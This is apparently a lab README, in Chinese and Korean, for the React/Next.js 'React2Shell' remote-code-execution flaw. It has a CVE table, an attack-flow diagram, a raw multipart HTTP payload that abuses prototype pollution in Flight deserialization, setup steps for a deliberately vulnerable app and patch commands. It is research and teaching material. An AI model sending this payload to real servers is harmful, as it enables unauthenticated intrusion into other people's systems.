
已与AI一起编写并测试了针对CVE-2025-55182漏洞的样本。
使用的 AI : Claude Opus 4.5 ⚠️ 警告:此环境仅用于教育和研究目的。
| 项目 | 内容 |
|---|---|
| CVE | CVE-2025-55182 (React) / CVE-2025-66478 (Next.js) |
| 名称 | React2Shell |
| CVSS | 10.0 (Critical) |
| 类型 | Pre-Auth Remote Code Execution |
| 原因 | Flight 协议反序列化时的原型污染 |
┌─────────────────────────┐
│ Attacker │
└───────────┬─────────────┘
│
POST Request + Next-Action Header
multipart/form-data payload
│
▼
┌───────────────────────────────────────────────────────────┐
│ Next.js Server │
├───────────────────────────────────────────────────────────┤
│ 1. Next-Action 헤더 → Server Action 트리거 │
│ 2. multipart 페이로드 → Flight 프로토콜 역직렬화 │
│ 3. Fake Chunk 객체의 then() 메서드 호출 │
│ 4. __proto__ 참조 → 프로토타입 오염 │
│ 5. Function 생성자 주입 → RCE │
└───────────────────────────────────────────────────────────┘
POST / HTTP/1.1
Next-Action: x
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="0"
{"_response":{"_formData":{"get":"Function"}},"then":"$1:__proto__:then"}
------Boundary
Content-Disposition: form-data; name="1"
$@0
------Boundary--
关键要素:
Next-Action 标头触发 Server Actionthen 方法的 Fake Chunk,用于模拟 promise 行为$@0 引用遍历原型链__proto__:then 访问 Function 构造函数cd vulnerable-app
# 의존성 설치
npm install
# 개발 서버 시작
npm run dev
react-rce/
├── README.md
├── vulnerable-app/ # 취약한 Next.js 앱
│ ├── package.json # Next.js 15.0.3 (취약 버전)
│ └── app/
│ ├── page.js # UI (CVE 정보 + RCE 시연)
│ ├── actions.js # Server Actions
│ └── globals.css
└── exploit/ # 공격 도구 (선택)
└── exploit.py # CVE-2025-55182 PoC
# 패치 버전으로 업그레이드
npm install [email protected] [email protected] [email protected]